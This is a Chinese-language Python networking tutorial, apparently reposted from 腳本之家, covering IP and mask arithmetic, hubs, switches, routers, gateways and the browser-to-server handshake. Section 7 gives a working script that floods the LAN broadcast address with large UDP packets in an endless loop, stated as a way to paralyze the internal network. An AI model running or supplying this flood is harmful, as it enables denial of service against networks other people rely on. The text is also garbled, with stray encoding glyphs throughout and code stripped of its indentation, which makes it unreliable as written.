python網絡通信圖文詳解
1. 常用的網絡協議

ICMP協議又叫:網絡控制協議
2. 數據傳輸過程

3. 兩臺電腦通信
網絡傳輸的是數據的信號而不是電流

4. IP地址網絡號與主機號的確定規(guī)則
通過ip地址和網絡掩碼的二進制數實行按位與運算,計算的結果轉換為十進制,非0的就是網絡號,0的就是主機號

5. 最開始集線器解決多臺電腦通信
但是集線器是以廣播的形式發(fā)送數據,設備一多就會導致網絡擁堵。

6. 使用交換機進行網絡通信
單播寫對方的mac地址,廣播mac地址寫6組FF:FF:FF:FF:FF:FF
7. 使用udp協議實現內網癱瘓
先根據IP地址和網絡掩碼二進制按位與計算出網絡號,在使用udp往當前局域網(網絡號)下面無線循環(huán)發(fā)廣播,使局域網瀕臨癱瘓
import socket # 導入socket
def main():
try:
# 1、創(chuàng)建socket套接字
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # socket.SOCK_DGRAM 這里是指定UDP協議
# 2、指定地址
data_address = ("192.168.255.255", 64300)
# 地址要是一個 元組,第一個"192.168.100.255"是內網的廣播地址,第二個 64300 是你計算機當前的端口#
# 這個端口不必太在意,64300 只要不是被其他程序占用的就行,
# 3、發(fā)送數據
while True:
send_data = "1" * 57175
# 這里發(fā)送的數據可以隨意點
udp_socket.sendto(send_data.encode("UTF-8"), data_address)
# 第一個參數sendData.encode("UTF-8")是要發(fā)送的數據,("UTF-8")是設置發(fā)送數據的編碼,
# 第二個參數(dataAddress)是發(fā)送數據的地址,也就是筆者內網的廣播地址
except Exception as result:
print("未知錯誤" + str(result))
if __name__ == '__main__':
main()
8. 使用路由器連接多個網絡
路由器的作用:連接兩個以上的網絡為一個大網絡
網關:具有轉發(fā)數據能力的設備
當AB兩臺電腦不在同一個網絡下想進行通信時,A電腦需要先把數據發(fā)送到默認網關,網關具有轉發(fā)數據的能力,網關再把數據轉發(fā)給B電腦,默認網關一般都是路由器


數據在轉發(fā)的過程當中,ip地址不變,mac地址每轉發(fā)一次就發(fā)生一次變化
9. 瀏覽器訪問服務器的過程

(1)向DNS服務器發(fā)送請求進行解析域名
(2)向http服務器發(fā)送3次握手
(3)握手成功后,向http服務器發(fā)送Http格式的請求數據
(4)所有請求完畢后,向http服務器發(fā)送4次揮手
網絡數據包發(fā)送過程當中源IP目標IP不變,源mac和目標mac每通過路由器網關轉發(fā)一次就會發(fā)生一次變化
總結
本篇文章就到這里了,希望能給你帶來幫助,也希望您能夠多多關注腳本之家的更多內容!
相關文章
Python3正則表達式之:(?(id/name)yes-pattern|no-pattern)條件性匹配
(?(id/name)yes-pattern|no-pattern)的作用是對于給出的id或者name,先嘗試去匹配 yes-pattern部分的內容,如果id或name條件不滿足,則去匹配no-pattern部分的內容2021-10-10
Anaconda+vscode+pytorch環(huán)境搭建過程詳解
這篇文章主要介紹了Anaconda+vscode+pytorch環(huán)境搭建過程詳解,本文通過實例代碼給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-05-05

